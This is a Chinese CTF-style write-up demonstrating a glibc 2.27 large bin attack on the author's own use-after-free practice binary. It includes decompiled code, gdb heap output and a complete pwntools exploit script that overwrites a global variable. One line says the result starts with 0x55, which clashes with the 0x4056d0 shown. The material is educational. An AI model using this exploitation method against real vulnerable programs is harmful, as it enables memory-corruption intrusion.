资讯动态

17|Large Bin Attack 实战:写堆地址劫持指针

发布时间:2026/10/28 2:03:20 来源:尧图企业网站定制
my_largebin.zip17Large Bin Attack 实战写堆地址劫持指针一句话往 largebin 里放一块大的再放一块小的改前者的bk_nextsize插入小的那一刻 glibc 就执行*(bk_nextsize 0x20) victim。环境glibc 2.27 / pwndbg这是我的一道自创题目专门用来练习 large bin 漏洞。仿照 HITCON CTF 2016 的 magicheap 设计只做了部分修改——本题没有设置 flag只用一个全局变量判断利用是否成功但思路是相似的。我之前的文章也解释过那道 magicheap两道都比较容易。废话不多说看题。1. 静态分析【main 函数】int __fastcall main(int argc, const char **argv, const char **envp) { setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); puts(aLargeBinAttack_0); while ( 1 ) { menu(); switch ( read_int() ) { case 1uLL: add_chunk(); break; case 2uLL: del_chunk(); break; case 3uLL: edit_chunk(); break; case 4uLL: show_chunk(); break; case 5uLL: return 0; case 6uLL: printf(target %#lx\n, target); if ( target ) puts(Congrt ! large bin attack works); else puts(aTarget); break; default: puts(Invalid choice); break; } } }这里我们看到 main 函数的第 27、28 行只要target不等于 0这道题就算利用成功。点进target看一下.bss:00000000004041A0 target dq ? ; DATA XREF: main:loc_4017F3↑r变量在.bss段地址固定No PIE。【del 函数】int del_chunk() { unsigned __int64 v1; // [rsp8h] [rbp-8h] printf(Index: ); v1 read_int(); if ( v1 0xF || !chunks[v1] ) return puts(Invalid); free((void *)chunks[v1]); return puts(Deleted); }free 完没清指针——UAF。利用这个 UAF就能完成 large bin attack 的演示。2. 利用思路(1) 【创建 4 个堆块】块1 很大 用来投毒的那个后面会成为 largebin 里较大的那块 块2 很小 把块1 和块3 隔开否则释放块3 时会向前合并 块3 另一个大块 最终被插入 largebin 的新块较小的那块 块4 很小 挡住 top防止释放的块和 top 合并为什么 4 块都必须 ≥ 或 ≤ 某个尺寸块1、块3 都要 0x410chunk 大小 → 否则 free 之后进 tcache根本到不了 unsorted / largebin 块2、块4 只是挡板0x20 就够挡板为什么不能省少块2free(块3)会向前合并进块1少块4会并进 top。两种情况链都断了。(2) 【释放】先释放第一块它进入 unsorted bin。然后申请一个比它更大的块——分配器遍历 unsorted 时发现这块不满足需求才会把它归位到 large bin 去。这里插一个知识点释放一个比 fastbin 范围大的块 → 它先进 unsorted bin 只有在我们申请新的堆块、而这块不满足需求时 分配器才会把它归位到对应的 bin 里我们继续。然后释放第三块让它进 unsorted bin 等待。此时利用 UAF 修改第一个堆块的bk_nextsize——但有一个坑编辑功能是从数据区起点顺序写的 而 bk_nextsize 排在第四个位置user 0x18 所以在这之前必须先读一次把前 4 个值一起写回去为什么因为fd、bk、fd_nextsize这三块也是 largebin 正在用的链表指针。你只写第 4 个字段前三个会被覆盖成垃圾下次遍历 largebin 直接崩。(3) 【触发】再申请一个比块3 大的块块3 就会被插入 large bin。插入的一瞬间large bin 的结构被改写target的值也就被改掉了。3. 动态分析gdb -q ./largebin_attack set pagination off set confirm off watch *(unsigned long*)0x4041a0 b main r-q静态启动、set pagination off防止输出超屏卡住、set confirm off跳过二次确认watch是关键——谁动了target立刻断下。【创建堆块】 1 Size: 1104 Content: a ⏎ CtrlD Done 1 Size: 24 Content: b ⏎ CtrlD Done 1 Size: 1088 Content: c ⏎ CtrlD Done 1 Size: 24 Content: d ⏎ CtrlD DoneCtrlD是提前结束输入——这题的read_n会一直读到满 size 或遇到 EOF。查看一下Allocated chunk | PREV_INUSE Addr: 0x405000 Size: 0x250 (with flag bits: 0x251) Allocated chunk | PREV_INUSE Addr: 0x405250 Size: 0x460 (with flag bits: 0x461) Allocated chunk | PREV_INUSE Addr: 0x4056b0 Size: 0x20 (with flag bits: 0x21) Allocated chunk | PREV_INUSE Addr: 0x4056d0 Size: 0x450 (with flag bits: 0x451) Allocated chunk | PREV_INUSE Addr: 0x405b20 Size: 0x20 (with flag bits: 0x21) Top chunk | PREV_INUSE Addr: 0x405b40 Size: 0x204c0 (with flag bits: 0x204c1)判据块1 0x460、块3 0x450两个都 0x410free 之后都能进 unsorted。如果你的块显示 0x410 或更小说明请求尺寸给少了得重来。设置两个变量方便后面用set $p1 *(unsigned long*)0x4040a0 set $p2 *(unsigned long*)0x4040b0$p1是块1 的 user 指针0x405260$p2是块3 的0x4056e0。【释放堆块 1】2 0tcachebins empty fastbins empty unsortedbin all: 0x405250 —▸ 0x7ffff7bebca0 ◂— 0x405250 /* PR */ smallbins empty largebins堆1 进入 unsorted bin 了。判据unsorted 里出现0x405250另一头是0x7f...。而且tcachebins必须是 empty——如果块进了 tcache说明尺寸不对。【申请一个比堆1 大的块】1 1136 etcachebins empty fastbins empty unsortedbin empty smallbins empty largebins 0x440-0x470: 0x405250 —▸ 0x7ffff7bec0a0 ◂— 0x405250 /* PR */判据unsorted 变成 emptylargebins 里出现0x440-0x470档、头是0x405250。这就说明块1 被归位了——如果 unsorted 还是满的说明你申请的块不够大。查看一下 p1 的状态x/4gx $p10x405260: 0x00007ffff7bec0a0 0x00007ffff7bec0a0 0x405270: 0x0000000000405250 0x0000000000405250这里提一嘴前面查 chunk 时看到的 p1 地址是0x405250那是 chunk 头$p1是 user 区所以 0x10 变成0x405260。可以看到fd_nextsize和bk_nextsize都指向0x405250也就是 p1 自己——这是因为现在 large bin 里只有 p1 这一种大小的块nextsize 链是个自环。判据0x18和0x20两格都等于 chunk 头地址。自环就说明 largebin 里只有它一个符合预期。【释放 p2进入 unsorted bin】2 2tcachebins empty fastbins empty unsortedbin all: 0x4056d0 —▸ 0x7ffff7bebca0 ◂— 0x4056d0 smallbins empty largebins 0x440-0x470: 0x405250 —▸ 0x7ffff7bec0a0 ◂— 0x405250 /* PR */p2 成功进入 unsorted bin0x4056d0是它的 chunk 头。判据unsorted 里出现0x4056d0同时 largebins 里那块0x405250还在。两块同时在才说明顺序对了。【投毒 p1】set *(unsigned long*)($p1 0x18) 0x404180$p1 0x18 chunk 0x28 bk_nextsize0x404180target (0x4041a0) - 0x20为什么减 0x20因为写入点是bk_nextsize-fd_nextsize而fd_nextsize在 chunk 里偏移 0x20*(bk_nextsize 0x20) victim 想让写入落在 target → bk_nextsize target - 0x20【高能时刻前】x/gx 0x4041a00x4041a0 target: 0x0000000000000000判据这时候target还是 0。是 0 才对——因为写入还没发生。如果这时候它就不是 0 了说明你提前触发了别的路径去查watch断在哪里。【触发】申请一个比 p2 大的块1 1136判据target从 0 变成一个0x55...开头的堆地址而且等于 p2 的 chunk 头0x4056d0。然后输入6 6 target 0x4056d0 Congrt ! large bin attack works利用成功。4. 我踩过的三个坑坑一只改 bk_nextsize前三个字段被我写成了垃圾edit 功能从 user 起点顺序写 如果 payload 只写 8 字节fd / bk / fd_nextsize 保持不变 —— 没事 但如果写满 0x20 且内容是随手编的largebin 的链就坏了 下一次 malloc 遍历到这个 bin 直接崩正确做法先show一次把前 0x18 字节读出来拼上新的bk_nextsize再整体写回。坑二p2 比 p1 大写不进去插入方向反了必须让新的那块比已经在 bin 里的那块小 否则走的是另一个分支插到 largest 前面不读 p1-bk_nextsize所以尺寸要安排成块1 0x460 块3 0x450。坑三忘了第二个挡板块3 并进 top块3 后面直接是 top → free(块3) 时并进 top → unsorted 里什么都没有 → 投毒投了个寂寞加一个malloc(0x18)挡着就解决了。5. 偏移表名称值来源chunks[]0x4040a0readelftarget0x4041a0nm / IDAbk_nextsize相对 user0x18结构体写入点相对bk_nextsize0x20结构体largebin 头2.27main_arena0xc0实测6. 版本边界glibc情况2.23 ~ 2.31可用CTF 主力技巧2.32指针加密部分覆写门槛上升2.35nextsize 链加了校验需要额外构造7. py 脚本from pwn import * context(archamd64, oslinux, log_levelinfo) TARGET 0x4041a0 # nm 实测非 PIE def start(): p process([./ld-2.27.so, --library-path, ., ./largebin_attack]) p.timeout 3 p.recvuntil(b ) return p def add(p, size, data): p.sendline(b1) p.recvuntil(bSize: ) p.sendline(str(size).encode()) p.recvuntil(bContent: ) p.send(data.ljust(size, b\x00)[:size]) p.recvuntil(b ) def delete(p, idx): p.sendline(b2) p.recvuntil(bIndex: ) p.sendline(str(idx).encode()) p.recvuntil(b ) def show(p, idx, length): p.sendline(b4) p.recvuntil(bIndex: ) p.sendline(str(idx).encode()) p.recvuntil(bContent: ) data p.recvn(length) p.recvuntil(b ) return data def edit(p, idx, size, data): p.sendline(b3) p.recvuntil(bIndex: ) p.sendline(str(idx).encode()) p.recvuntil(bSize: ) p.sendline(str(size).encode()) p.recvuntil(bContent: ) p.send(data.ljust(size, b\x00)[:size]) p.recvuntil(b ) def check(p): p.sendline(b6) return p.recvuntil(b ) def exploit(): p start() # 关键顺序 # largebin 里先放一个较大的 p1再把较小的 p2 放进 unsorted # 改 p1-bk_nextsize 之后把 p2 插入 largebin 的那一刻才触发写入 add(p, 0x450, bA * 0x450) # idx0 p1较大的 largebin chunk add(p, 0x18, bg * 0x18) # idx1 guard1 add(p, 0x440, bP * 0x440) # idx2 p2较小与 p1 同 largebin add(p, 0x18, bh * 0x18) # idx3 guard2 delete(p, 0) # free(p1) - unsorted bin add(p, 0x470, bB * 0x470) # idx4: 比 p1 大 - p1 被排进 largebin delete(p, 2) # free(p2) - unsorted bin # ★ 用 UAF 只改 bk_nextsize其余链表字段从 show 里读回来保留 raw show(p, 0, 0x20) fd, bk, fdn, bkn u64(raw[0:8]), u64(raw[8:16]), u64(raw[16:24]), u64(raw[24:32]) log.info(p1: fd%#x bk%#x fd_nextsize%#x bk_nextsize%#x, fd, bk, fdn, bkn) payload p64(fd) p64(bk) p64(fdn) p64(TARGET - 0x20) edit(p, 0, len(payload), payload) # ★ 把 p2 插入 largebin - *(TARGET) p2 add(p, 0x470, bC * 0x470) # idx5 return check(p) if __name__ __main__: for i in range(3): try: out exploit() except Exception as e: log.warning(attempt %d err %r, i 1, e) continue log.info(check 输出: %r, out[:120]) if bCongrt in out: log.success(*** large bin attack 成功target 已被写入 ***) break log.warning(attempt %d target 仍为 0, i 1) else: log.failure(NOT OK)8. 最后这题的价值在于写出去的值是什么unsorted bin attack → 写的是 libc 地址0x7f... large bin attack → 写的是堆地址0x55... / 0x40...堆地址是你能控制的内存所以 large bin attack 通常不负责最后一击负责把一个指针搬到需要的位置。 相关阅读· 原理篇《04Large Bin Attack把一个堆地址写到任意位置》· 上一篇实战《16Tcache Poisoning 实战UAF 改 fd 打 __free_hook》· 下一道实战《18Use-After-Free 实战双档 bin 分离改函数指针》全部 exp 与 gdb 脚本GitHub 链接

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑